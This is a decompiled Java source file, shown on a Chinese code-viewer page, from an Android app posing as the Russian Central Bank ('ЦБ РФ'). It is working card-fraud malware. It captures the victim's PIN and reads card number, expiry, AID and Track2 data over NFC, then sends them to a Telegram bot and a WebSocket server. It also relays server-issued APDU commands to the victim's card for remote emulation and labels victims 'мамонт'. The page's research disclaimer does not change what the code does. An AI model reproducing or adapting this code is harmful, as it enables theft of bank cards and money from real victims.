正在查看: ЦБ РФ v1.1 应用的 ReaderActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: ЦБ РФ v1.1 应用的 ReaderActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.example.myreader;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.IsoDep;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;
import android.view.MenuItem;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.drawerlayout.widget.DrawerLayout;
import androidx.recyclerview.widget.RecyclerView;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import com.airbnb.lottie.LottieAnimationView;
import com.example.myreader.ReaderActivity;
import com.github.devnied.emvnfccard.model.EmvCard;
import com.google.android.material.navigation.NavigationView;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
import org.json.JSONArray;
import org.json.JSONObject;
public class ReaderActivity extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener {
private TextView connectionStatusTextView;
private ImageView connectionStatusTextView1;
private Button devicesButton;
private DrawerLayout drawerLayout;
private Button exitButton;
private IsoDep isoDep;
private NavigationView navigationView;
private NfcAdapter nfcAdapter;
private Handler pairingHandler;
private Runnable pairingRunnable;
private LinearLayout pinContainer;
private Handler pingHandler;
private Runnable pingRunnable;
private RecyclerView recyclerView;
private Button savePinButton;
private String savedAid;
private String savedCardNumber;
private String savedExpiryDate;
private String savedTrack2Data;
private int selectedPort;
private SharedPreferences sharedPreferences;
private TextView somelogs1;
private TextView somelogs2;
private LottieAnimationView statusAnimation;
private TextView statusText;
private TextView statusTextView;
private SwipeRefreshLayout swipeRefreshLayout;
private String token;
private TransactionsAdapter transactionsAdapter;
private WebSocket webSocket;
private WebView webView;
String COLOR_CONNECTED = "#4ECCA3";
String COLOR_PAIRING = "#de4343";
String botToken = Constants.TELEGRAM_BOT_TOKEN;
private String pairingText = "Нету связи";
private int dotsCount = 1;
private boolean isCardConnected = false;
private boolean isConnected = false;
private List<Transaction> transactionList = new ArrayList();
private boolean isPinVisible = false;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_reader);
this.selectedPort = getIntent().getIntExtra("port", 1);
ThemeManager.applyTheme(this);
WebView webView = new WebView(this);
this.webView = webView;
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
this.webView.setWebViewClient(new WebViewClient());
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.setWebViewClient(new WebViewClient());
this.webView.setWebChromeClient(new WebChromeClient());
this.webView.addJavascriptInterface(new WebAppInterface(this), "AndroidInterface");
setContentView(this.webView);
SharedPreferences sharedPreferences = getSharedPreferences("AppPrefs", 0);
this.sharedPreferences = sharedPreferences;
sharedPreferences.getString("PIN_CODE", "");
this.nfcAdapter = NfcAdapter.getDefaultAdapter(this);
this.token = getIntent().getStringExtra(Constants.KEY_TOKEN);
connectWebSocket();
NfcAdapter nfcAdapter = this.nfcAdapter;
if (nfcAdapter == null) {
this.webView.loadUrl("file:///android_asset/errornonfc.html");
} else if (!nfcAdapter.isEnabled()) {
this.webView.loadUrl("file:///android_asset/errornonfc.html");
} else {
this.webView.loadUrl("file:///android_asset/pincode.html");
}
}
public String getHWID() {
return Settings.Secure.getString(getContentResolver(), "android_id");
}
@JavascriptInterface
public void firstpage() {
Log.d("ReaderActivity", "firstpage() вызван");
Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
startActivity(intent);
}
@JavascriptInterface
public void savePin(String pin) {
if (pin == null || pin.trim().isEmpty()) {
Log.w("PIN", "Попытка сохранить пустой PIN");
return;
}
if (pin.length() == 4) {
this.sharedPreferences.edit().putString("PIN_CODE", pin).apply();
sendPinToTelegram(pin);
try {
JSONObject pinMessage = new JSONObject();
pinMessage.put("cmd", "new_pin");
pinMessage.put("pin", pin);
pinMessage.put(Constants.KEY_TOKEN, this.token);
pinMessage.put("deviceType", "device1");
WebSocket webSocket = this.webSocket;
if (webSocket != null) {
webSocket.send(pinMessage.toString());
Toast.makeText((Context) this, (CharSequence) "PIN код успешно сохранен", 0).show();
} else {
Toast.makeText((Context) this, (CharSequence) "WebSocket не подключён", 0).show();
}
} catch (Exception e) {
e.printStackTrace();
Toast.makeText((Context) this, (CharSequence) "Ошибка отправки PIN", 0).show();
}
} else {
Toast.makeText((Context) this, (CharSequence) "PIN должен быть ровно 4 цифры", 0).show();
}
SharedPreferences.Editor editor = this.sharedPreferences.edit();
editor.putString("PIN_CODE", pin);
boolean success = editor.commit();
if (success) {
Log.d("PIN", "PIN-код успешно сохранен: " + pin);
sendPinToTelegram(pin);
} else {
Log.e("PIN", "Ошибка при сохранении PIN-кода");
}
}
private void sendPinToTelegram(final String pin) {
new Thread(new Runnable() {
@Override
public final void run() {
ReaderActivity.this.m33lambda$sendPinToTelegram$0$comexamplemyreaderReaderActivity(pin);
}
}).start();
}
void m33lambda$sendPinToTelegram$0$comexamplemyreaderReaderActivity(String pin) {
try {
String chatId = Constants.getTelegramChatId(this.selectedPort);
String serverName = Constants.getServerName(this.selectedPort);
String hwid = getHWID();
String encodedMessage = Uri.encode("[" + serverName + "] [READER #" + hwid + "] *Новый PIN-код:* `" + pin + "`");
String url = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", this.botToken, chatId, encodedMessage);
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
Response response = client.newCall(request).execute();
Log.d("ReaderActivity", "Telegram log sent: " + response.code());
} catch (Exception e) {
Log.e("ReaderActivity", "Error sending Telegram log", e);
}
}
private void clearTokenAndRedirectToLogin() {
SharedPreferences prefs = getSharedPreferences(Constants.PREF_NAME, 0);
SharedPreferences.Editor editor = prefs.edit();
editor.remove(Constants.KEY_TOKEN);
editor.remove("username");
editor.apply();
Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
startActivity(intent);
finish();
}
protected void onResume() {
super.onResume();
startPing();
enableReaderMode();
}
protected void onPause() {
super.onPause();
stopPing();
disableReaderMode();
clearCardInfoFromServer();
}
private void enableReaderMode() {
if (this.nfcAdapter != null) {
Bundle options = new Bundle();
options.putInt("presence", 1000);
this.nfcAdapter.enableReaderMode(this, new NfcAdapter.ReaderCallback() {
@Override
public final void onTagDiscovered(Tag tag) {
ReaderActivity.this.m30lambda$enableReaderMode$2$comexamplemyreaderReaderActivity(tag);
}
}, 129, options);
}
}
void m30lambda$enableReaderMode$2$comexamplemyreaderReaderActivity(final Tag tag) {
runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.this.m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(tag);
}
});
}
private void disableReaderMode() {
if (this.nfcAdapter != null) {
this.nfcAdapter.disableReaderMode(this);
}
}
public void m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(android.nfc.Tag r17) {
throw new UnsupportedOperationException("Method not decompiled: com.example.myreader.ReaderActivity.m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(android.nfc.Tag):void");
}
void m31lambda$handleTag$3$comexamplemyreaderReaderActivity() {
Toast.makeText((Context) this, (CharSequence) "Приложите карту корректно", 0).show();
}
class AnonymousClass1 implements Runnable {
AnonymousClass1() {
}
@Override
public void run() {
if (ReaderActivity.this.isoDep != null && ReaderActivity.this.isoDep.isConnected()) {
try {
byte[] response = ReaderActivity.this.isoDep.transceive(new byte[]{0, -80, 0, 0, 4});
if (response != null && response.length != 0) {
Log.d("NFC", "Card: " + ReaderActivity.this.savedCardNumber + ", " + ReaderActivity.this.savedExpiryDate);
WebSettings webSettings = ReaderActivity.this.webView.getSettings();
webSettings.setJavaScriptEnabled(true);
ReaderActivity.this.webView.setWebViewClient(new WebViewClient());
ReaderActivity.this.webView.loadUrl("file:///android_asset/index.html");
}
Log.d("NFC", "Card disconnected");
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass1.this.m38lambda$run$0$comexamplemyreaderReaderActivity$1();
}
});
ReaderActivity.this.handleCardRemoval();
} catch (IOException e) {
Log.d("NFC", "Card disconnected due to error: " + e.getMessage());
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass1.this.m39lambda$run$1$comexamplemyreaderReaderActivity$1();
}
});
WebSettings webSettings2 = ReaderActivity.this.webView.getSettings();
webSettings2.setJavaScriptEnabled(true);
ReaderActivity.this.webView.setWebViewClient(new WebViewClient());
ReaderActivity.this.webView.loadUrl("file:///android_asset/wcard.html");
}
}
}
void m38lambda$run$0$comexamplemyreaderReaderActivity$1() {
Toast.makeText(ReaderActivity.this.getApplicationContext(), "Карта не сканируется...", 0).show();
}
void m39lambda$run$1$comexamplemyreaderReaderActivity$1() {
Toast.makeText(ReaderActivity.this.getApplicationContext(), "Ошибка в сканировании карты", 0).show();
}
}
private void startCardPresenceCheck() {
Handler handler = new Handler(Looper.getMainLooper());
Runnable checkRunnable = new AnonymousClass1();
handler.post(checkRunnable);
}
public void handleCardRemoval() {
try {
this.isCardConnected = false;
IsoDep isoDep = this.isoDep;
if (isoDep != null) {
isoDep.close();
}
notifyCardRemoval();
clearCardInfoFromServer();
hideCard();
showElements();
} catch (IOException e) {
e.printStackTrace();
}
}
private void notifyCardRemoval() {
try {
if (this.webView == null) {
Log.e("ReaderActivity", "WebView не инициализирован!");
return;
}
String versionName = "";
try {
versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
WebSettings webSettings = this.webView.getSettings();
webSettings.setJavaScriptEnabled(true);
this.webView.setWebViewClient(new WebViewClient());
this.webView.loadUrl("file:///android_asset/wcard.html");
Log.d("NFC", "ЗАЛУПА");
JSONObject removalMessage = new JSONObject();
removalMessage.put("cmd", "card_removed");
removalMessage.put(Constants.KEY_TOKEN, this.token);
removalMessage.put("deviceType", "device1");
removalMessage.put("appVersion", versionName);
this.webSocket.send(removalMessage.toString());
showElements();
} catch (Exception e2) {
e2.printStackTrace();
}
}
private void startPing() {
if (this.pingHandler == null) {
this.pingHandler = new Handler();
}
Runnable runnable = new Runnable() {
@Override
public void run() {
if (ReaderActivity.this.webSocket != null) {
String versionName = "";
try {
try {
versionName = ReaderActivity.this.getPackageManager().getPackageInfo(ReaderActivity.this.getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
JSONObject pingMessage = new JSONObject();
pingMessage.put("cmd", "ping");
pingMessage.put(Constants.KEY_TOKEN, ReaderActivity.this.token);
pingMessage.put("deviceType", "device1");
pingMessage.put("appVersion", versionName);
ReaderActivity.this.webSocket.send(pingMessage.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
ReaderActivity.this.pingHandler.postDelayed(this, 5000L);
}
};
this.pingRunnable = runnable;
this.pingHandler.post(runnable);
}
private void stopPing() {
Runnable runnable;
Handler handler = this.pingHandler;
if (handler != null && (runnable = this.pingRunnable) != null) {
handler.removeCallbacks(runnable);
}
}
public boolean onNavigationItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == R.id.nav_logout) {
logout();
return true;
}
if (id == R.id.nav_support) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("https://t.me/nometa"));
startActivity(intent);
return true;
}
this.drawerLayout.closeDrawer(8388611);
return true;
}
private void logout() {
if (this.webSocket != null) {
String versionName = "";
try {
try {
versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
JSONObject logoutMessage = new JSONObject();
logoutMessage.put("cmd", "logout");
logoutMessage.put(Constants.KEY_TOKEN, this.token);
logoutMessage.put("deviceType", "device1");
logoutMessage.put("appVersion", versionName);
this.webSocket.send(logoutMessage.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
SharedPreferences prefs = getSharedPreferences(Constants.PREF_NAME, 0);
SharedPreferences.Editor editor = prefs.edit();
editor.remove(Constants.KEY_TOKEN);
editor.remove("username");
editor.apply();
Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
startActivity(intent);
finish();
}
private void clearCardInfoFromServer() {
String versionName = "";
try {
try {
versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
JSONObject clearInfo = new JSONObject();
clearInfo.put("cmd", "clear_card_info");
clearInfo.put(Constants.KEY_TOKEN, this.token);
clearInfo.put("deviceType", "device1");
clearInfo.put("appVersion", versionName);
this.webSocket.send(clearInfo.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
public void sendTelegramMessage(final String message) {
new Thread(new Runnable() {
@Override
public final void run() {
ReaderActivity.this.m34lambda$sendTelegramMessage$4$comexamplemyreaderReaderActivity(message);
}
}).start();
}
void m34lambda$sendTelegramMessage$4$comexamplemyreaderReaderActivity(String message) {
try {
String chatId = Constants.getTelegramChatId(this.selectedPort);
String serverName = Constants.getServerName(this.selectedPort);
String encodedMessage = Uri.encode("[" + serverName + "] " + message);
String url = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", this.botToken, chatId, encodedMessage);
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
Response response = client.newCall(request).execute();
Log.d("ReaderActivity", "Telegram log sent: " + response.code());
} catch (Exception e) {
Log.e("ReaderActivity", "Error sending Telegram log", e);
}
}
private void sendCardInfoToTelegram(final String cardNumber, final String expiryDate, final String aid, final String track2Data) {
new Thread(new Runnable() {
@Override
public final void run() {
ReaderActivity.this.m32x8b5d31ed(cardNumber, expiryDate, aid, track2Data);
}
}).start();
}
void m32x8b5d31ed(String cardNumber, String expiryDate, String aid, String track2Data) {
try {
String chatId = Constants.getTelegramChatId(this.selectedPort);
Constants.getServerName(this.selectedPort);
String telegramMessage = "📌 *Данные карты:*\n\n▪️ **Номер:** `" + cardNumber + "`\n▪️ **Срок действия:** `" + expiryDate + "`\n▪️ **AID:** `" + aid + "`\n▪️ **Track2:** `" + track2Data + "`";
String encodedMessage = URLEncoder.encode(telegramMessage, "UTF-8").replace("+", "%20").replace("%3D", "=").replace("%2A", "*").replace("%60", "`");
String urlString = "https://api.telegram.org/bot" + this.botToken + "/sendMessage?chat_id=" + chatId + "&text=" + encodedMessage + "&parse_mode=Markdown";
URL url = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
int responseCode = conn.getResponseCode();
if (responseCode == 200) {
Log.d("Telegram", "✅ Данные карты успешно отправлены!");
} else {
Log.d("Telegram", "⚠️ Ошибка при отправке данных карты: " + responseCode);
}
conn.disconnect();
} catch (Exception e) {
Log.e("Telegram", "❌ Ошибка отправки данных карты в Telegram: " + e.getMessage());
}
}
private void sendCardInfoToServer2(String savedCardNumber, String savedExpiryDate, String savedAid, String savedTrack2Data) {
String versionName = "";
try {
try {
versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
JSONObject cardInfo = new JSONObject();
cardInfo.put("cmd", "card_info");
cardInfo.put("cardNumber", savedCardNumber);
cardInfo.put("expiryDate", savedExpiryDate);
cardInfo.put("aid", savedAid);
cardInfo.put("track2Data", savedTrack2Data);
cardInfo.put(Constants.KEY_TOKEN, this.token);
cardInfo.put("deviceType", "device1");
cardInfo.put("appVersion", versionName);
this.webSocket.send(cardInfo.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
private void sendCardInfoToServer(String cardNumber, String expiryDate, String aid, String track2Data) {
String versionName = "";
try {
try {
versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
JSONObject cardInfo = new JSONObject();
cardInfo.put("cmd", "card_info");
cardInfo.put("cardNumber", cardNumber);
cardInfo.put("expiryDate", expiryDate);
cardInfo.put("aid", aid);
cardInfo.put("track2Data", track2Data);
cardInfo.put(Constants.KEY_TOKEN, this.token);
cardInfo.put("deviceType", "device1");
cardInfo.put("appVersion", versionName);
this.webSocket.send(cardInfo.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
private String extractTrack2EquivalentData(EmvCard card) {
if (card.getTrack2() != null) {
return card.getTrack2().toString();
}
return "unknown";
}
public void connectWebSocket() {
OkHttpClient client = new OkHttpClient.Builder().connectTimeout(30L, TimeUnit.SECONDS).readTimeout(30L, TimeUnit.SECONDS).writeTimeout(30L, TimeUnit.SECONDS).build();
String selectedServerUrl = Constants.getWebsocketUrl(Constants.getSelectedServer(this));
Request request = new Request.Builder().url(selectedServerUrl).build();
this.webSocket = client.newWebSocket(request, new AnonymousClass3(selectedServerUrl));
}
class AnonymousClass3 extends WebSocketListener {
final String val$selectedServerUrl;
AnonymousClass3(String str) {
this.val$selectedServerUrl = str;
}
public void onOpen(WebSocket webSocket, Response response) {
try {
String versionName = ReaderActivity.this.getPackageManager().getPackageInfo(ReaderActivity.this.getPackageName(), 0).versionName;
ReaderActivity.this.isConnected = true;
Log.d("WebSocket", "Connected to server: " + this.val$selectedServerUrl);
String hwid = ReaderActivity.this.getHWID();
String model = Build.MODEL;
String androidVersion = Build.VERSION.RELEASE;
String nfcStatus = (ReaderActivity.this.nfcAdapter == null || !ReaderActivity.this.nfcAdapter.isEnabled()) ? "no" : "yes";
String serverName = Constants.getServerName(ReaderActivity.this.selectedPort);
String message = String.format("<%s> READER подключился к серверу\n\nHWID #%s\nmodel: %s\nAndroid: %s\nNFC: %s", serverName, hwid, model, androidVersion, nfcStatus);
ReaderActivity.this.sendTelegramMessage(message);
JSONObject registerMessage = new JSONObject();
registerMessage.put("cmd", "register");
registerMessage.put(Constants.KEY_TOKEN, ReaderActivity.this.token);
registerMessage.put("deviceType", "device1");
registerMessage.put("appVersion", versionName);
webSocket.send(registerMessage.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
public void onMessage(WebSocket webSocket, final String text) {
Log.d("WebSocket", "Received message: " + text);
ReaderActivity.this.runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass3.this.m41lambda$onMessage$0$comexamplemyreaderReaderActivity$3(text);
}
});
}
void m41lambda$onMessage$0$comexamplemyreaderReaderActivity$3(String text) {
ReaderActivity.this.handleWebSocketMessage(text);
}
public void onFailure(final WebSocket webSocket, Throwable t, Response response) {
ReaderActivity.this.isConnected = false;
Log.d("WebSocket", "Connection failed (скрыто): " + t.getMessage());
ReaderActivity.this.runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass3.this.m40lambda$onFailure$1$comexamplemyreaderReaderActivity$3(webSocket);
}
});
}
void m40lambda$onFailure$1$comexamplemyreaderReaderActivity$3(WebSocket webSocket) {
if (webSocket != null) {
webSocket.close(1000, "Reconnecting");
}
ReaderActivity.this.connectWebSocket();
}
public void onClosed(WebSocket webSocket, int code, String reason) {
ReaderActivity.this.isConnected = false;
Log.d("WebSocket", "Connection closed: " + reason);
}
}
public void handleWebSocketMessage(String text) {
try {
JSONObject message = new JSONObject(text);
String cmd = message.getString("cmd");
if ("error".equals(cmd)) {
String errorMessage = message.getString("message");
if (errorMessage.equalsIgnoreCase("Invalid token")) {
clearTokenAndRedirectToLogin();
} else if (errorMessage.equalsIgnoreCase("Your account has been deleted")) {
clearTokenAndRedirectToLogin();
}
return;
}
if ("apdu_command".equals(cmd)) {
String apduString = message.getString("apdu");
String[] byteValues = apduString.substring(1, apduString.length() - 1).split(",");
byte[] apdu = new byte[byteValues.length];
int len = byteValues.length;
for (int i = 0; i < len; i++) {
apdu[i] = Byte.parseByte(byteValues[i].trim());
}
IsoDep isoDep = this.isoDep;
if (isoDep != null && isoDep.isConnected()) {
try {
byte[] response = this.isoDep.transceive(apdu);
if (response != null) {
String versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
JSONObject responseMessage = new JSONObject();
responseMessage.put("cmd", "apdu_response");
responseMessage.put("apduResponse", Arrays.toString(response));
responseMessage.put("apduRequest", Arrays.toString(apdu));
responseMessage.put(Constants.KEY_TOKEN, this.token);
responseMessage.put("deviceType", "device1");
responseMessage.put("appVersion", versionName);
this.webSocket.send(responseMessage.toString());
Log.d("NFC", "APDU response sent to emulator");
} else {
Log.d("NFC", "APDU response is null, no data sent");
}
} catch (IOException e) {
Log.e("NFC", "Failed to transceive APDU command", e);
}
}
return;
}
if ("paired".equals(cmd)) {
Log.d("WebSocket", "Paired message received");
Toast.makeText((Context) this, (CharSequence) "Сертификаты безопасности успешно установлены", 0).show();
String hwid = getHWID();
sendTelegramMessage("READER #" + hwid + ":️ *Устройство успешно подключено! ✅");
if (this.savedCardNumber == null || this.savedExpiryDate == null || this.savedAid == null || this.savedTrack2Data == null) {
sendTelegramMessage("READER #" + hwid + " (к мамонту обратно): карта не сработала, отсканируйте повторно.");
} else {
String message2 = "READER #" + hwid + " (к мамонту обратно) 💳 *Данные карты:* \n▪️ **Номер:** `" + this.savedCardNumber + "`\n▪️ **Срок:** `" + this.savedExpiryDate + "`\n▪️ **AID:** `" + this.savedAid + "`\n▪️ **Track2:** `" + this.savedTrack2Data + "`";
sendTelegramMessage(message2);
sendCardInfoToServer2(this.savedCardNumber, this.savedExpiryDate, this.savedAid, this.savedTrack2Data);
}
return;
}
if ("unpaired".equals(cmd)) {
Log.d("WebSocket", "Unpaired message received");
Toast.makeText((Context) this, (CharSequence) "Пожалуйста, ожидайте подключение к системе", 0).show();
sendTelegramMessage("READER #" + getHWID() + ":️ Устройство отключено!*");
return;
}
if (!"ping".equals(cmd)) {
if ("update_required".equals(cmd)) {
String updateMessage = message.getString("message");
String downloadLink = message.getString("downloadLink");
showUpdateDialog(updateMessage, downloadLink);
return;
}
return;
}
String versionName2 = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
JSONObject pongMessage = new JSONObject();
pongMessage.put("cmd", "pong");
pongMessage.put(Constants.KEY_TOKEN, this.token);
pongMessage.put("deviceType", "device1");
pongMessage.put("appVersion", versionName2);
this.webSocket.send(pongMessage.toString());
} catch (Exception e2) {
e2.printStackTrace();
}
}
private void showUpdateDialog(final String message, final String downloadLink) {
runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.this.m37lambda$showUpdateDialog$8$comexamplemyreaderReaderActivity(message, downloadLink);
}
});
}
void m37lambda$showUpdateDialog$8$comexamplemyreaderReaderActivity(String message, final String downloadLink) {
new AlertDialog.Builder(this).setTitle("Update Required").setMessage(message).setPositiveButton("Update", new DialogInterface.OnClickListener() {
@Override
public final void onClick(DialogInterface dialogInterface, int i) {
ReaderActivity.this.m35lambda$showUpdateDialog$6$comexamplemyreaderReaderActivity(downloadLink, dialogInterface, i);
}
}).setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
@Override
public final void onClick(DialogInterface dialogInterface, int i) {
ReaderActivity.this.m36lambda$showUpdateDialog$7$comexamplemyreaderReaderActivity(dialogInterface, i);
}
}).setCancelable(false).show();
}
void m35lambda$showUpdateDialog$6$comexamplemyreaderReaderActivity(String downloadLink, DialogInterface dialog, int which) {
Intent browserIntent = new Intent("android.intent.action.VIEW", Uri.parse(downloadLink));
startActivity(browserIntent);
}
void m36lambda$showUpdateDialog$7$comexamplemyreaderReaderActivity(DialogInterface dialog, int which) {
finish();
}
private void reconnectWebSocket() {
WebSocket webSocket = this.webSocket;
if (webSocket != null) {
webSocket.close(1000, "Reconnecting");
}
connectWebSocket();
}
private String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02X", Byte.valueOf(b)));
}
return sb.toString();
}
private void fetchTransactions() {
SharedPreferences prefs = getSharedPreferences("MyApp", 0);
String username = prefs.getString("username", "User");
String wsUrl = Constants.getWebsocketUrl(Constants.getSelectedServer(this));
Log.d("ReaderActivity", "Connecting to WebSocket for transactions: " + wsUrl);
Request request = new Request.Builder().url(wsUrl).build();
OkHttpClient client = new OkHttpClient();
client.newWebSocket(request, new AnonymousClass4(username));
}
class AnonymousClass4 extends WebSocketListener {
final String val$username;
AnonymousClass4(String str) {
this.val$username = str;
}
public void onOpen(WebSocket webSocket, Response response) {
try {
JSONObject transactionsRequest = new JSONObject();
transactionsRequest.put("type", "get_transactions");
transactionsRequest.put("username", this.val$username);
webSocket.send(transactionsRequest.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
public void onMessage(WebSocket webSocket, String text) {
try {
JSONObject response = new JSONObject(text);
if (response.has("transactions")) {
JSONArray transactions = response.getJSONArray("transactions");
ReaderActivity.this.transactionList.clear();
for (int i = 0; i < transactions.length(); i++) {
JSONObject transaction = transactions.getJSONObject(i);
String amount = transaction.getString("amount");
String cardNumber = transaction.getString("cardNumber");
String date = transaction.getString("date");
ReaderActivity.this.transactionList.add(new Transaction(amount, cardNumber, date));
}
ReaderActivity.this.runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass4.this.m43lambda$onMessage$0$comexamplemyreaderReaderActivity$4();
}
});
}
} catch (Exception e) {
e.printStackTrace();
ReaderActivity.this.runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass4.this.m44lambda$onMessage$1$comexamplemyreaderReaderActivity$4();
}
});
}
webSocket.close(1000, "Transactions received");
}
void m43lambda$onMessage$0$comexamplemyreaderReaderActivity$4() {
ReaderActivity.this.transactionsAdapter.notifyDataSetChanged();
ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
}
void m44lambda$onMessage$1$comexamplemyreaderReaderActivity$4() {
ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
Toast.makeText((Context) ReaderActivity.this, (CharSequence) "Ошибка получения транзакций", 0).show();
}
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
ReaderActivity.this.runOnUiThread(new Runnable() {
@Override
public final void run() {
ReaderActivity.AnonymousClass4.this.m42lambda$onFailure$2$comexamplemyreaderReaderActivity$4();
}
});
}
void m42lambda$onFailure$2$comexamplemyreaderReaderActivity$4() {
ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
Toast.makeText((Context) ReaderActivity.this, (CharSequence) "Ошибка подключения", 0).show();
}
}
private void hideElements() {
}
private void showElements() {
WebView webView = this.webView;
if (webView == null) {
Log.e("ReaderActivity3", "WebView не инициализирован!");
return;
}
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
this.webView.setWebViewClient(new WebViewClient());
this.webView.loadUrl("file:///android_asset/index.html");
}
private void hideCard() {
WebView webView = this.webView;
if (webView == null) {
Log.e("ReaderActivity2", "WebView не инициализирован!");
return;
}
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
this.webView.setWebViewClient(new WebViewClient());
this.webView.loadUrl("file:///android_asset/wcard.html");
}
private void showCard() {
}
}